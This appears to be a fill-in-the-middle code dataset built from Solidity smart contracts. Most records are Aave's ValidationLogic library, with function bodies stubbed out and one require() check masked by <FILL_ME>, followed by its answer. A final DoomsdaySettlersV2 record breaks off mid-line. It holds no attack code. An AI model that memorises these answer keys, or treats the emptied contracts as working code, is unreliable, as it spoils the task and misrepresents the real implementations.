addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { require(asset != address(0), Errors.ZERO_ADDRESS_NOT_VALID); require(reserve.id != 0 || reservesList[0] == asset, Errors.ASSET_NOT_LISTED); require(IERC20(reserve.stableDebtTokenAddress).totalSupply() == 0, Errors.STABLE_DEBT_NOT_ZERO); require(<FILL_ME>) require( IERC20(reserve.aTokenAddress).totalSupply() == 0 && reserve.accruedToTreasury == 0, Errors.UNDERLYING_CLAIMABLE_RIGHTS_NOT_ZERO ); } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
IERC20(reserve.variableDebtTokenAddress).totalSupply()==0,Errors.VARIABLE_DEBT_SUPPLY_NOT_ZERO
435,439
IERC20(reserve.variableDebtTokenAddress).totalSupply()==0
Errors.UNDERLYING_CLAIMABLE_RIGHTS_NOT_ZERO
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { require(asset != address(0), Errors.ZERO_ADDRESS_NOT_VALID); require(reserve.id != 0 || reservesList[0] == asset, Errors.ASSET_NOT_LISTED); require(IERC20(reserve.stableDebtTokenAddress).totalSupply() == 0, Errors.STABLE_DEBT_NOT_ZERO); require( IERC20(reserve.variableDebtTokenAddress).totalSupply() == 0, Errors.VARIABLE_DEBT_SUPPLY_NOT_ZERO ); require(<FILL_ME>) } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
IERC20(reserve.aTokenAddress).totalSupply()==0&&reserve.accruedToTreasury==0,Errors.UNDERLYING_CLAIMABLE_RIGHTS_NOT_ZERO
435,439
IERC20(reserve.aTokenAddress).totalSupply()==0&&reserve.accruedToTreasury==0
Errors.INCONSISTENT_EMODE_CATEGORY
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { // category is invalid if the liq threshold is not set require( categoryId == 0 || eModeCategories[categoryId].liquidationThreshold != 0, Errors.INCONSISTENT_EMODE_CATEGORY ); // eMode can always be enabled if the user hasn't supplied anything if (userConfig.isEmpty()) { return; } // if user is trying to set another category than default we require that // either the user is not borrowing, or it's borrowing assets of categoryId if (categoryId != 0) { unchecked { for (uint256 i = 0; i < reservesCount; i++) { if (userConfig.isBorrowing(i)) { DataTypes.ReserveConfigurationMap memory configuration = reservesData[reservesList[i]] .configuration; require(<FILL_ME>) } } } } } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
configuration.getEModeCategory()==categoryId,Errors.INCONSISTENT_EMODE_CATEGORY
435,439
configuration.getEModeCategory()==categoryId
"dark age"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { require(<FILL_ME>) require(count != 0,"count min"); require(count <= 20,"count max"); unchecked{ require(address(this).balance < 